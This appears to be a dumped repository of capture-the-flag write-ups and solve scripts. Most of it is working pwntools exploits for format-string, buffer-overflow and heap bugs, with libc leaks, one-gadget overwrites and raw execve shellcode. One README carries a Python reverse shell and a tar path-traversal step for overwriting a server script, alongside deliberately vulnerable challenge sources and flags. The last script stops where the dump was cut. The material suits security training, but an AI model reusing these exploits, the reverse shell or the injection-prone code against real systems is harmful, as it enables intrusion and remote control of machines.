44 | 45 | [exploit.py](./exploit.py) 46 | ```python 47 | #!/usr/bin/env python2 48 | from pwn import * 49 | 50 | audition = p32(0x08049182) 51 | time = p32(0x4b0) 52 | room_num = p32(0x16e) 53 | payload = 'a'* 112 + audition + 'a'*4 + time + room_num 54 | 55 | conn = remote('ctf.umbccd.io', 4000) 56 | #conn = process('./bof') 57 | 58 | conn.sendlineafter('?', 'name') 59 | conn.sendlineafter('?', payload) 60 | print conn.recvall() 61 | conn.close 62 | ``` 63 | ### flag 64 | `DawgCTF{wh@t_teAm?}` 65 | -------------------------------------------------------------------------------- /unitedctf-2021/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | import ctypes 5 | 6 | exe = ELF("./simple_notes") 7 | libc = ELF("./libc.so.6") 8 | ld = ELF("./ld-2.31.so") 9 | 10 | context.binary = exe 11 | context.terminal = ['st'] 12 | 13 | def conn(): 14 | if args.LOCAL: 15 | return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path}) 16 | else: 17 | return remote("challenges.unitedctf.ca", 1234) 18 | 19 | def create_note(io, imp, size, data): 20 | io.recvuntil("> ") 21 | io.sendline("1") 22 | io.recvuntil("Importance: ") 23 | io.sendline(str(imp)) 24 | io.recvuntil("Size: ") 25 | io.sendline(str(size)) 26 | io.sendline(data) 27 | 28 | def read_note(io, idx): 29 | io.recvuntil("> ") 30 | io.sendline("3") 31 | io.recvuntil("Index: ") 32 | io.sendline(str(idx)) 33 | 34 | def edit_note(io, idx, imp, size): 35 | io.recvuntil("> ") 36 | io.sendline("4") 37 | io.recvuntil("Index: ") 38 | io.sendline(str(idx)) 39 | io.recvuntil("Importance: ") 40 | io.sendline(str(imp)) 41 | io.recvuntil("Size: ") 42 | io.sendline(str(size)) 43 | 44 | def main(): 45 | r = conn() 46 | 47 | # overwriting current variable with 0xffffffff to bypass the index check 48 | for i in range(256): 49 | create_note(r, i, 9, "asdf") 50 | log.info(f"Creating note number: {i}") 51 | create_note(r, -3, 9, "asdf") 52 | 53 | # leaking libc address 54 | read_note(r, -8) 55 | r.recvuntil("Importance: ") 56 | libc.address = int(r.recvline(keepends=False)) - libc.sym.puts 57 | log.info(f"Leaking libc address : {hex(libc.address)}") 58 | 59 | #overwriting the got entry for atoi to system 60 | edit_note(r, -6, ctypes.c_int32(libc.sym.system).value, "/bin/sh\0") 61 | 62 | r.interactive() 63 | 64 | if __name__ == "__main__": 65 | main() 66 | -------------------------------------------------------------------------------- /shellmates/fake shell/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from pwn import * 3 | from time import sleep 4 | 5 | 6 | one_gadget_offset = 0xe87f5 7 | 8 | while True: 9 | sleep(2) 10 | try: 11 | s = remote ('terminal.challs.shellmates.club', 1337) 12 | except: 13 | continue 14 | #leaking rbp and calculating the return address 15 | payload = 'printf %8$lp' 16 | s.sendline(payload) 17 | s.recvuntil('0x') 18 | ret = int(s.recv(12), 16) - 0x418 19 | ret1 = p64(ret) 20 | ret2 = p64(ret + 2) 21 | ret3 = p64(ret + 4) 22 | log.info('return address: '+ str(hex(ret))) 23 | 24 | #leaking libc_start_main address and calculating one gadget address 25 | payload = 'printf %141$lp' 26 | s.sendline(payload) 27 | s.recvuntil('0x') 28 | libc_start_main = int(s.recv(12), 16) 29 | one_gadget = libc_start_main + one_gadget_offset 30 | log.info('one gadget address: '+ str(hex(one_gadget))) 31 | 32 | #calculating lenght for %n to overwrite the return address with one gadget 33 | length1 = (one_gadget & 0xffff) - 1 34 | length2 = (one_gadget >> 16 & 0xffff) - length1 -1 35 | length3 = (one_gadget >> 32 & 0xffff) - length1 - length2 -1 36 | 37 | #to construct the address two bytes at the time, the lengths have to be from smaller to bigger 38 | if (length2 < 0) or (length3) < 0: 39 | log.info('bad address, try again.') 40 | s.close() 41 | continue 42 | 43 | 44 | #overwriting the return address with one gadget address 45 | payload = 'printf a' 46 | payload += '%' + str(length1) + 'd' 47 | payload += '%16$n' 48 | payload += '%' + str(length2) + 'd' 49 | payload += '%17$n' 50 | payload += '%' + str(length3) + 'd' 51 | payload += '%18$nh' 52 | payload = payload.ljust(0x30, '\0') 53 | payload += ret1 + ret2 + ret3 54 | 55 | #the constraint of one gadget is [rsp+0x70] == NULL 56 | payload = payload.ljust(0x400, '\0') 57 | 58 | s.sendline(payload) 59 | s.interactive() 60 | s.close() 61 | -------------------------------------------------------------------------------- /shellmates/fake shell/terminal.h: -------------------------------------------------------------------------------- 1 | #define n_elems(array) sizeof(array)/sizeof(array[0]) 2 | #define CMD_LS 0 3 | #define CMD_ID 1 4 | #define CMD_WHOAMI 2 5 | #define CMD_ECHO 3 6 | #define CMD_PRINTF 4 7 | #define CMD_CAT 5 8 | #define CMD_PWD 6 9 | #define CMD_CD 7 10 | #define CMD_HELP 8 11 | #define CMD_EXIT 9 12 | #define CMD_UNAME 10 13 | 14 | #define COMMAND_NOT_FOUND 512 15 | #define ARITY_ERROR 1024 16 | #define ARG_ERROR 2048 17 | 18 | #define LISTING_1 "secretfolder\n" 19 | #define LONG_LISTING_1 "drwxr-xr-x 2 root root 4096 janv. 3 00:54 secretfolder\n" 20 | 21 | #define LISTING_2 "flag.txt\n" 22 | #define LONG_LISTING_2 "-rw-r--r-- 1 root mate 462 janv. 3 00:41 flag.txt\n" 23 | #define FLAG_CONTENT "\n"\ 24 | "############################################################################\n"\ 25 | "# Of course, you will not find the flag in here ;) #\n" \ 26 | "# The real flag of this challenge is in "BLUE("/challenge/flag.txt")" #\n" \ 27 | "# You forgot that you were in a fake terminal? what did you expect? xD #\n" \ 28 | "# #\n" \ 29 | "############################################################################\n" 30 | 31 | #define RED(s) "\e[01;91m"s"\e[00m" 32 | #define BLUE(s) "\e[01;34m"s"\e[00m" 33 | 34 | #define UNAME_OUTPUT "Linux" 35 | #define UNAME_LONG_OUTPUT "Linux pwnable 2.6.32-573.3.1.el6.x86_64 #1 SMP Mon Aug 10 09:44:54 EDT 2015 x86_64 x86_64 x86_64 GNU/Linux" 36 | 37 | typedef struct command_ll { 38 | unsigned int command; 39 | char* args; 40 | } command_ll; 41 | 42 | 43 | unsigned int ls(char*); 44 | unsigned int id(char*); 45 | unsigned int whoami(char*); 46 | unsigned int echo(char*); 47 | unsigned int cat(char*); 48 | unsigned int pwd(char*); 49 | unsigned int help(char*); 50 | unsigned int cd(char*); 51 | unsigned int uname(char*); 52 | void read_cmd(char*, size_t); 53 | unsigned int parse_cmd(char*, command_ll*); 54 | unsigned int process_cmd(command_ll*); 55 | void clean_cmd(command_ll*); 56 | 57 | -------------------------------------------------------------------------------- /shellmates/circuit/README.md: -------------------------------------------------------------------------------- 1 | # Circuit 2 | 3 | ### Description 4 | ``` 5 | Hello soldier, 6 | It seems like ROXy and FOXy found another way to encrypt data, they are now using hardware based encryption 7 | for the sake of encrypting huge amount of data. Our secret agent has successfully sniffed out the most important 8 | file in our mission to crack their secret, the blueprint of their logic circuit! He additionnaly captured 9 | an encrypted message that we are curious to know its contents. 10 | Now it's all up to you to reverse engineer the circuit, and provide us with a decryption of their messages. 11 | 12 | Yours sincerely, TheMentor. 13 | ``` 14 | Attachments: ![secret.enc](./secret.enc).
15 | 16 | ![alt circuit](./circuit.png) 17 | 18 | 19 | The circuit encrypts the text one character at the time using only one byte as the encryption key
20 | All we have to do is reverse the circuit and brut-force the encryption key
21 | ```python 22 | #!/usr/bin/env python2 23 | 24 | with open('secret.enc') as f: 25 | ct = f.read() 26 | f.close() 27 | 28 | 29 | for key in range(255): 30 | pt = '' 31 | for c in ct: 32 | i = ord(c) 33 | 34 | b = 0 35 | b += 0 if ((i & 32 )^(key & 32 )) else 16 36 | b += 0 if ((i & 16 )^(key & 16 )) else 32 37 | b += 0 if ((i & 128)^(key & 128)) else 64 38 | b += 0 if ((i & 64 )^(key & 64 )) else 128 39 | 40 | b += 1 if (((i & 2)^(key & 2)) and b & 128) or (not ((i & 2)^(key & 2)) and not b & 128) else 0 41 | b += 2 if (((i & 1)^(key & 1)) and b & 64 ) or (not ((i & 1)^(key & 1)) and not b & 64 ) else 0 42 | b += 4 if (((i & 8)^(key & 8)) and b & 32 ) or (not ((i & 8)^(key & 8)) and not b & 32 ) else 0 43 | b += 8 if (((i & 4)^(key & 4)) and b & 16 ) or (not ((i & 4)^(key & 4)) and not b & 16 ) else 0 44 | 45 | pt += chr(b) 46 | 47 | if 'shellmates' in pt: 48 | print 'secret key : ' + str(key) 49 | print 'message : \n' + pt 50 | ``` 51 | # Flag 52 | shellmates{h@rD\/\/4r3_b@sEd_enCrYpT10N_1$_suP3r_f4$t!!} 53 | -------------------------------------------------------------------------------- /TamuCTF2K24/rift/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | exe = ELF("./rift_patched") 6 | libc = ELF("./libc.so.6") 7 | ld = ELF("./ld-2.28.so") 8 | 9 | context.binary = exe 10 | 11 | 12 | def conn(): 13 | r = remote("tamuctf.com", 443, ssl=True, sni="rift") 14 | return r 15 | 16 | 17 | def main(): 18 | r = conn() 19 | one_gadget = 0x4497f 20 | 21 | r.sendline(b"%1$p") 22 | libc.address = int(r.recvline().strip(),16) - 0x1bc8d0 23 | one_gadget += libc.address 24 | log.info(f"Libc address : {hex(libc.address)}") 25 | 26 | r.sendline(b"%8$p") 27 | stack = int(r.recvline().strip(),16) - 0x8 + 0x10 28 | log.info(f"stack address : {hex(stack)}") 29 | 30 | # overwrite the last 2 bytes of a stack address to point to main return address 31 | short = stack & 0xffff 32 | payload = f'%{short}c%13$hn' 33 | r.sendline(payload) 34 | # overwrite the last 2 bytes of main return address (libc_start_main+0x--) to point to one_gadget 35 | short = one_gadget & 0xffff 36 | payload = f'%{short}c%39$hn' 37 | r.sendline(payload) 38 | # overwrite the last 2 bytes of a stack address to point to main return address + 2 39 | short = (stack + 2) & 0xffff 40 | payload = f'%{short}c%13$hn' 41 | r.sendline(payload) 42 | # overwrite the second last 2 bytes of main return address (libc_start_main+0x--) to point to one_gadget 43 | short = (one_gadget & 0xffff0000) >> 16 44 | payload = f'%{short}c%39$hn' 45 | r.sendline(payload) 46 | # overwrite the last 2 bytes of a stack address to point to always_true address 47 | short = (stack & 0xffff) - 0x1c 48 | payload = f'%{short}c%13$hn' 49 | r.sendline(payload) 50 | # overwrite the always_true variable with 0 to break out of the while loop and return to main, then to one_gadget 51 | payload = f'%39$n' 52 | r.sendline(payload) 53 | 54 | # main will exit and instead of returning to __libc_start_main, it will return to one_gadget 55 | r.interactive() 56 | 57 | 58 | if __name__ == "__main__": 59 | main() 60 | -------------------------------------------------------------------------------- /HackINI2k23/write_what_where/challenge.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define NAME_SIZE 0x160 //352 10 | 11 | void input_str(char *msg, char *str, size_t size) ; 12 | void disable_buffering(){ 13 | setbuf(stdin, NULL); 14 | setbuf(stdout, NULL); 15 | setbuf(stderr, NULL); 16 | } 17 | 18 | void header(){ 19 | puts("Welcome !"); 20 | } 21 | 22 | void menu(){ 23 | puts("1) Enter Your Name"); 24 | puts("2) Print your Name"); 25 | puts("3) Execute Random function"); 26 | puts("4) Exit"); 27 | printf("Choice: "); 28 | } 29 | 30 | void get_name(char name[NAME_SIZE]){ 31 | input_str("Name: ",name,NAME_SIZE); 32 | } 33 | 34 | void print_name(char name[NAME_SIZE]){ 35 | printf(name); // format string :) 36 | } 37 | 38 | void func(){} 39 | 40 | int main(int argc, char* argv[]){ 41 | char name[NAME_SIZE]; 42 | int choice ; 43 | 44 | disable_buffering(); 45 | 46 | mprotect((void*)(((unsigned long)&func >> 12) << 12),0x1000,PROT_READ | PROT_WRITE | PROT_EXEC); //This is a gift for you 47 | 48 | puts("Welcome\nTry to find out how to pwn me!\nIt's not hard, I swear!"); 49 | 50 | while (1) 51 | { 52 | menu(); 53 | scanf("%d",&choice); 54 | switch (choice) 55 | { 56 | case 1: 57 | get_name(name); 58 | break; 59 | case 2: 60 | print_name(name); 61 | break; 62 | case 3: 63 | func(); 64 | break; 65 | default: 66 | exit(0); 67 | break; 68 | } 69 | 70 | } 71 | exit(0); 72 | } 73 | 74 | void input_str(char *msg, char *str, size_t size) 75 | { 76 | ssize_t num_bytes; 77 | 78 | fputs(msg, stdout); 79 | num_bytes = read(STDIN_FILENO, str, size - 1); 80 | if (num_bytes == -1) { 81 | perror("read"); 82 | exit(EXIT_FAILURE); 83 | } else { 84 | str[num_bytes] = '\0'; 85 | } 86 | return; 87 | } 88 | 89 | -------------------------------------------------------------------------------- /shellmates/FileErudite-web_misc/app.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from flask import Flask, Response, redirect, request, render_template 4 | from werkzeug.exceptions import RequestEntityTooLarge 5 | from string import ascii_lowercase, digits 6 | from random import choice 7 | import os, tarfile, wave 8 | 9 | app = Flask(__name__) 10 | 11 | UPLOAD_FOLDER = "./uploads/" 12 | EXTRACT_FOLDER = "./extracted/" 13 | 14 | charset = digits + ascii_lowercase 15 | random_string = lambda: "".join(choice(charset) for _ in range(10)) 16 | 17 | def valid_wave(file): 18 | try : 19 | with wave.open(file): 20 | pass 21 | return True 22 | except: 23 | return False 24 | 25 | def valid_pdf(file): 26 | return_code = os.system(f"pdfinfo {file} >/dev/null 2>&1") 27 | return return_code == 0 28 | 29 | def valid_tar(file): 30 | try : 31 | with tarfile.open(file): 32 | pass 33 | return True 34 | except: 35 | return False 36 | 37 | def check(file): 38 | if valid_tar(file) and valid_wave(file) and valid_pdf(file): 39 | try: 40 | with tarfile.open(file) as tar: 41 | os.system(f'rm -rf{EXTRACT_FOLDER}/*') 42 | tar.extractall(EXTRACT_FOLDER) 43 | except: 44 | return False 45 | 46 | os.system('python3 ../join_us.py ') 47 | os.system(f'rm -rf {EXTRACT_FOLDER}/*') 48 | isvalid = True 49 | else: 50 | isvalid = False 51 | 52 | os.system(f"rm {file}") 53 | return isvalid 54 | 55 | @app.route("/", methods=["GET"]) 56 | def root(): 57 | return render_template("index.html") 58 | 59 | @app.route('/upload', methods=['GET', 'POST']) 60 | def upload_file(): 61 | if request.method == "POST": 62 | f = request.files.get('file') 63 | if not f: 64 | return render_template("nofile.html"), 400 65 | 66 | file_location = os.path.join(UPLOAD_FOLDER, random_string()) 67 | f.save(file_location) 68 | 69 | if check(file_location): 70 | return render_template("success.html") 71 | else: 72 | return render_template("fail.html") 73 | else: 74 | return redirect("/") 75 | 76 | @app.errorhandler(404) 77 | def not_found(e): 78 | return render_template('404.html'), 404 79 | -------------------------------------------------------------------------------- /shellmates/hello_wasm/README.md: -------------------------------------------------------------------------------- 1 | # Hello WASM 2 | ——————— 𝘼𝙪𝙩𝙝𝙤𝙧 𝙣𝙤𝙩𝙚 ———————
3 | 𝗖𝗵𝗮𝗹𝗹𝗲𝗻𝗴𝗲’𝘀 𝗻𝗮𝗺𝗲: Hello WASM.
4 | 𝗖𝗮𝘁𝗲𝗴𝗼𝗿𝘆: Reverse.
5 | 𝗗𝗲𝘀𝗰𝗿𝗶𝗽𝘁𝗶𝗼𝗻: Some say that client-side validation
6 | isn't secure at all because everything is visible
7 | to the end-user. Funny right! I'm surely gonna
8 | refute this saying with my new double password
9 | verification using this *high level* technology..
10 | or low level? whatever. I hope no one proves me wrong
11 | or I’m gonna have to start all over again…
12 | Link to the challenge : http://138.68.101.239:7777/
13 | ———————————————————————
14 | ![alt challenge](./hellowasm.png)
15 | In the network traffic, I can see a request for 79e1d51c6a58e66a153c.module.wasm, so I downloaded it
16 | and tried dumping the strings in the binary: 17 | ```bash 18 | $ strings 79e1d51c6a58e66a153c.module.wasm 19 | ... 20 | wiesbn_ta_shssrc/lib.rs 21 | aermdb_leyh_? 22 | ... 23 | ``` 24 | I noticed two interesting strings, but they weren't the correct passwords, it may be checking the passwords
25 | against these two strings using some special algorithm, so I decompiled it to C source using [wabt](https://github.com/WebAssembly/wabt) and found
26 | check_password() function, but the source code was very hard to understand, so I decided to translate the binary
27 | to text format and reverse it to C source by hand. After reversing check_password() and the first function that it
28 | calls, I found out it did nothing! It only performs a variable swap that will be undone by check_password() right after
29 | ![C source code](reverse.png)
30 | So I asked the author and he told me that a lot of code is generated by the wasm compiler and that I should try another
31 | approach. After some searching I found a [wasm debugging chrome extension](goo.gle/wasm-debugging-extension) and started setting breakpoints at the end
32 | of check_password(), if the execution didn't reach it make another one before it and so on to find all the checks performed,
33 | and it worked!. It checks if both passwords are 13 characters long then it compares password1 then password2 char-by-char
34 | against those strings from before, So we can set only one breakpoint at this check, and leak the flag one char at the time
35 | ![wasm debugging](flag.png)
36 | 37 | # Flag 38 | ``` 39 | shellmates{web_assembly_isnt_hard_eh?} 40 | ``` 41 | 42 | -------------------------------------------------------------------------------- /shellmates/FileErudite-web_misc/README.md: -------------------------------------------------------------------------------- 1 | # FileErudite 2 | ——————— 𝘼𝙪𝙩𝙝𝙤𝙧 𝙣𝙤𝙩𝙚 ———————
3 | 𝗖𝗵𝗮𝗹𝗹𝗲𝗻𝗴𝗲’𝘀 𝗻𝗮𝗺𝗲: FileErudite.
4 | 𝗖𝗮𝘁𝗲𝗴𝗼𝗿𝘆: Web/Misc.
5 | 𝗗𝗲𝘀𝗰𝗿𝗶𝗽𝘁𝗶𝗼𝗻: Who said files are simple? In the right
6 | circumstances they can be very complex and surprisingly
7 | weird. Here at FileErudite we discover the weirdness
8 | of files. If you want to take the journey come and join us
9 | but first, you have to prove you have what it takes!
10 | Here starts the adventure: https://gofile.io/d/jywV3Y
11 | ———————————————————————
12 | ![alt challenge](./fileerudite.png) 13 | 14 | This flask application takes a file and checks if it's a valid wave, pdf and tar file if it passes that check it will extract it
15 | to the './extracted/' directory, then it will execute a python script located at the parent directory '../join_us.py'
16 | ```python 17 | def check(file): 18 | if valid_tar(file) and valid_wave(file) and valid_pdf(file): 19 | try: 20 | with tarfile.open(file) as tar: 21 | os.system(f'rm -rf{EXTRACT_FOLDER}/*') 22 | tar.extractall(EXTRACT_FOLDER) 23 | except: 24 | return False 25 | 26 | os.system('python3 ../join_us.py ') 27 | os.system(f'rm -rf {EXTRACT_FOLDER}/*') 28 | isvalid = True 29 | else: 30 | isvalid = False 31 | 32 | os.system(f"rm {file}") 33 | return isvalid 34 | ``` 35 | We can't abuse the uploaded filename because it's randomized, so we need to pass that check and overwrite '../join_us.py'
36 | We can create a tar file that contains a reverse-shell python script with the filename '../../join_us.py' using [evilarc](https://github.com/ptoomey3/evilarc)
37 | then taring it so it will get extracted to './extracted/../../join_us.py' overwriting the existing file, then we need to make a binary polyglot file using [mitra](https://github.com/corkami/mitra) that is a valid wav, pdf and tar file
(ps: the order of the arguments matter for mitra) 38 | ```python 39 | import sys,socket,os,pty 40 | 41 | s=socket.socket() 42 | s.connect(("ip_address",port)) 43 | [os.dup2(s.fileno(),fd) for fd in (0,1,2)] 44 | pty.spawn("/bin/sh") 45 | ``` 46 | ``` 47 | python2 evilarc.py join_us.py --out file.tar 48 | ./mitra.py file.wav file.pdf -o ./ 49 | ./mitra.py [generated_file.waw.pdf] file.tar -o ./ 50 | ``` 51 | ## Flag 52 | ``` 53 | shellmates{0ne_fIl3_T0_RuLe_T|-|em_4ll} 54 | 55 | -------------------------------------------------------------------------------- /HackINI2k23/write_what_where/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | exe = ELF("./chall") 5 | context.binary = exe 6 | 7 | shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" 8 | 9 | def conn(): 10 | return remote("write-what-where.ctf.shellmates.club", 443, ssl=True) 11 | 12 | 13 | def main(): 14 | for i in range(10): 15 | r = conn() 16 | 17 | # Leaking stack & code addresses 18 | r.recvuntil(b'Choice') 19 | r.sendline(b'1') 20 | r.sendline(b'%7$p\n%9$p') 21 | r.recvuntil(b'Choice:') 22 | r.sendline(b'2') 23 | rbp_addr = int(r.recvline().strip(), 16) - 0x30 24 | menu_addr = int(r.recvline().strip(), 16) - 3 25 | log.info(f"Leaking base pointer address :: {hex(rbp_addr)}") 26 | log.info(f"Leaking menu function address :: {hex(menu_addr)}") 27 | 28 | r.recvuntil(b'Choice') 29 | r.sendline(b'1') 30 | 31 | # forming the format-string payload 32 | left = (menu_addr >> 32) - 12 #12 'a' at the start of the payload 33 | log.info(f"First 2 most significant bytes to overwrite :: {hex(left)}") 34 | right = (menu_addr & 0xffffffff) - left #offset of aaaaaa and already written bytes 35 | log.info(f"last 4 least significant bytes to overwrite :: {hex(right)}") 36 | 37 | payload = f'aaaaaaaaaaaa%{str(left)}c%19$n%{str(right)}c%20$n' 38 | log.info(f"Format-string payload :: {payload}") 39 | if len(payload) != 40: # check to make sure for address are aligned in memory 40 | log.info(f"Bad payload length :: {len(payload)}. Retrying ...\n") 41 | print(payload) 42 | r.close() 43 | continue 44 | 45 | # overwriting the RBP pointer with a menu function pointer (minus some offset) 46 | log.info(f"Sending format-string payload, please wait ...") 47 | r.sendline(flat(b'aaaaaaaaaaaa%', bytes(str(left), 'utf-8'), b'c%19$n%', bytes(str(right), 'utf-8'), b'c%20$n', p64(rbp_addr+4), p64(rbp_addr))) 48 | r.recvuntil(b'Choice:') 49 | r.sendline(b'2') 50 | 51 | # Overwriting menu function code with shellcode using get_name option 52 | r.recvuntil(b'Choice:') 53 | log.info(f"Overwriting menu function code with shellcode, here is your shell ;)\n") 54 | r.sendline(b'1') 55 | r.sendline(flat(shellcode)) 56 | r.recvuntil(b'Name:') 57 | r.interactive() 58 | break 59 | 60 | 61 | if __name__ == "__main__": 62 | main() 63 | -------------------------------------------------------------------------------- /TamuCTF2K24/rift/README.md: -------------------------------------------------------------------------------- 1 | # Rift 2 | 3 | # Description 4 | ![](./description.png) 5 | 6 | This was a format-string challenge with the buffer in the bss instead of the stack.
7 | Since our input is not in the stack, we can't place pointers on the stack to acheive an arbitrary write,
8 | but we can still use dangeling pointers on the stack :)
9 | TL;DR: we need to use a stack pointer to write and address on the stack, than use that address for an arbitrary write.
10 | 11 | # Exploit 12 | 13 | ```python 14 | #!/usr/bin/env python3 15 | 16 | from pwn import * 17 | 18 | exe = ELF("./rift_patched") 19 | libc = ELF("./libc.so.6") 20 | ld = ELF("./ld-2.28.so") 21 | 22 | context.binary = exe 23 | 24 | 25 | def conn(): 26 | r = remote("tamuctf.com", 443, ssl=True, sni="rift") 27 | return r 28 | 29 | 30 | def main(): 31 | r = conn() 32 | one_gadget = 0x4497f 33 | 34 | r.sendline(b"%1$p") 35 | libc.address = int(r.recvline().strip(),16) - 0x1bc8d0 36 | one_gadget += libc.address 37 | log.info(f"Libc address : {hex(libc.address)}") 38 | 39 | r.sendline(b"%8$p") 40 | stack = int(r.recvline().strip(),16) - 0x8 + 0x10 41 | log.info(f"stack address : {hex(stack)}") 42 | 43 | # overwrite the last 2 bytes of a stack address to point to main return address 44 | short = stack & 0xffff 45 | payload = f'%{short}c%13$hn' 46 | r.sendline(payload) 47 | # overwrite the last 2 bytes of main return address (libc_start_main+0x--) to point to one_gadget 48 | short = one_gadget & 0xffff 49 | payload = f'%{short}c%39$hn' 50 | r.sendline(payload) 51 | # overwrite the last 2 bytes of a stack address to point to main return address + 2 52 | short = (stack + 2) & 0xffff 53 | payload = f'%{short}c%13$hn' 54 | r.sendline(payload) 55 | # overwrite the second last 2 bytes of main return address (libc_start_main+0x--) to point to one_gadget 56 | short = (one_gadget & 0xffff0000) >> 16 57 | payload = f'%{short}c%39$hn' 58 | r.sendline(payload) 59 | # overwrite the last 2 bytes of a stack address to point to always_true address 60 | short = (stack & 0xffff) - 0x1c 61 | payload = f'%{short}c%13$hn' 62 | r.sendline(payload) 63 | # overwrite the always_true variable with 0 to break out of the while loop and return to main, then to one_gadget 64 | payload = f'%39$n' 65 | r.sendline(payload) 66 | 67 | # main will exit and instead of returning to __libc_start_main, it will return to one_gadget 68 | r.interactive() 69 | 70 | 71 | if __name__ == "__main__": 72 | main() 73 | ``` 74 | # Flag 75 | 76 | gigem{ropping_in_style} 77 | -------------------------------------------------------------------------------- /shellmates/camel/ride_the_camel.ml: -------------------------------------------------------------------------------- 1 | let print_banner () = 2 | print_endline ""; 3 | print_endline " =--_"; 4 | print_endline " .-\"\"\"\"\"\"-. |* _)"; 5 | print_endline " / \\ / /"; 6 | print_endline " / \\_/ /"; 7 | print_endline " _ /| /"; 8 | print_endline " _-'\"/\\ / | ____ _.-\" _"; 9 | print_endline " _-' ( '-_ _ ( \\ |\\ /\\ || .-'\".\"."; 10 | print_endline "_.-' '. `'-._ .-'\"/'. \" | |/ / | |/ _-\" ( '-_"; 11 | print_endline " '. _-\" ( '-_ \\ | / \\ | _.-' ) \"-._"; 12 | print_endline " _.' _.-' ) \"-._ ||\\\\ |\\\\ '\"' .-'"; 13 | print_endline " ' .-' `' || \\\\ ||))"; 14 | print_endline "jjs__ _ ___ _ ____________ _____ ___ _|\\ _|\\_|\\\\/ _______________ ___ _"; 15 | print_endline " c c \" c C \"\"C \" \"\" \"\" \"\""; 16 | print_endline " c C"; 17 | print_endline " C C"; 18 | print_endline " C"; 19 | print_endline " C c";; 20 | let string_length s = 21 | let len = ref 0 in 22 | String.iter (fun c -> len := !len + 1) s; 23 | !len;; 24 | 25 | let list_of str = 26 | let rec aux newlst = function 27 | | -1 -> newlst; 28 | | k -> aux (str.[k]::newlst) (k - 1) in 29 | aux [] ((string_length str) - 1);; 30 | 31 | let rec check = function 32 | | 369877807 -> true; 33 | | k when k > 369877807 -> false; 34 | | k -> check (2*k+1);; 35 | 36 | let rec simp = function 37 | | k when k mod 2 = 1 -> k; 38 | | k -> simp (k / 2);; 39 | 40 | let decrypt data _key = 41 | let key = simp (_key + 1) in 42 | print_int key; 43 | print_newline(); 44 | List.iter (fun k -> 45 | print_char (Char.chr ( ((((k lxor (key land 0xff)) + ((key lsr 8) land 0xff)) lxor ((key lsr 16) land 0xff)) - ((key lsr 24) land 0xff)) land 0xff)); 46 | ) data; 47 | print_newline();; 48 | 49 | let take_a_ride () = 50 | print_banner(); 51 | print_endline "Who are you?"; 52 | let s1 = read_line () in 53 | if not (String.equal s1 "Xavier") then ( 54 | print_endline "You are not allowed to use this program"; 55 | exit 1; 56 | ); 57 | print_endline "Welcome, enter the secret number"; 58 | let s2 = read_int () in 59 | if (s2 <> 369877807) && (check s2) then 60 | decrypt [85;97;98;121;102;119;100;107;124;119;100;127;97;98;101;183;183;183;176;68;120;123;176;122;124;119;121;176;127;101;176;174;176;101;120;123;124;124;99;119;100;123;101;109;105;120;160;113;125;98;160;105;101;113;119;118;160;107;100;113;160;85;119;99;124;81;83] s2 61 | else print_endline "Wrong secret number";; 62 | take_a_ride (); 63 | -------------------------------------------------------------------------------- /Alphactf2k23/Note_keeper_2/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | from ctypes import CDLL 5 | 6 | exe = ELF("./new_chall_patched") 7 | libc = ELF("./libc.so.6") 8 | ld = ELF("./ld-linux-x86-64.so.2") 9 | 10 | context.binary = exe 11 | 12 | def add(r, size, content): 13 | r.recvuntil(b'Enter an option:') 14 | r.sendline(b'1') 15 | r.recvuntil(b'Size: ') 16 | r.sendline(bytes(str(size), 'utf-8')) 17 | r.recvuntil(b'Note content: ') 18 | r.sendline(content) 19 | 20 | def remove(r, index): 21 | r.recvuntil(b'Enter an option: ') 22 | r.sendline(b'2') 23 | r.recvuntil(b'Note index: ') 24 | r.sendline(bytes(str(index), 'utf-8')) 25 | 26 | def view(r, index): 27 | r.recvuntil(b'Enter an option: ') 28 | r.sendline(b'4') 29 | r.recvuntil(b'Index: ') 30 | r.sendline(bytes(str(index), 'utf-8')) 31 | 32 | def edit(r, index, content): 33 | r.recvuntil(b'Enter an option: ') 34 | r.sendline(b'3') 35 | r.recvuntil(b'Index: ') 36 | r.sendline(bytes(str(index), 'utf-8')) 37 | r.recvuntil(b'Content: ') 38 | r.sendline(content) 39 | 40 | def conn(): 41 | r = process([exe.path]) 42 | return r 43 | 44 | 45 | def main(): 46 | r = conn() 47 | 48 | # Leaking libc address 49 | 50 | add(r, 1100, '') 51 | add(r, 16, '') 52 | remove(r, 0) 53 | add(r, 1100, 'a'*7) 54 | view(r, 1) 55 | r.recvuntil(b'a'*7 + b'\n') 56 | main_arena = int.from_bytes(r.recv(numb=6), "little") 57 | libc.address = main_arena - 0x1ecbe0 #offset 58 | log.info(f'Leaking libc address : {hex(libc.address)}') 59 | one_gadget = libc.address + 0xe3afe 60 | log.info(f'Calculating one_gadget address : {hex(one_gadget)}') 61 | remove(r, 1) 62 | remove(r, 0) 63 | 64 | # Leaking heap address 65 | 66 | add(r, 128, 'a'*15) 67 | view(r, 0) 68 | r.recvuntil(b'a'*15 + b'\n') 69 | heap = int.from_bytes(r.recv(numb=6), "little") + 32 70 | log.info(f'Leaking heap address : {hex(heap)}') 71 | tcache_key = heap - 672 72 | log.info(f'Calculating tcache-key address : {hex(tcache_key)}') 73 | 74 | # Leaking data segment address 75 | 76 | view(r, -11) 77 | data_addr = int.from_bytes(r.recv(numb=6), "little") + 88 78 | log.info(f'Leaking data address : {hex(data_addr)}') 79 | 80 | # Forging and freeing a fake chunk 81 | 82 | add(r, 16, '') 83 | remove(r, 1) 84 | 85 | fake_chunk = flat(p64(heap), p64(0x21)) 86 | edit(r, 0, fake_chunk) 87 | offset = int((heap - data_addr - 16) / 8) 88 | remove(r, offset) 89 | 90 | # Poisoning the tcache-forward to point to 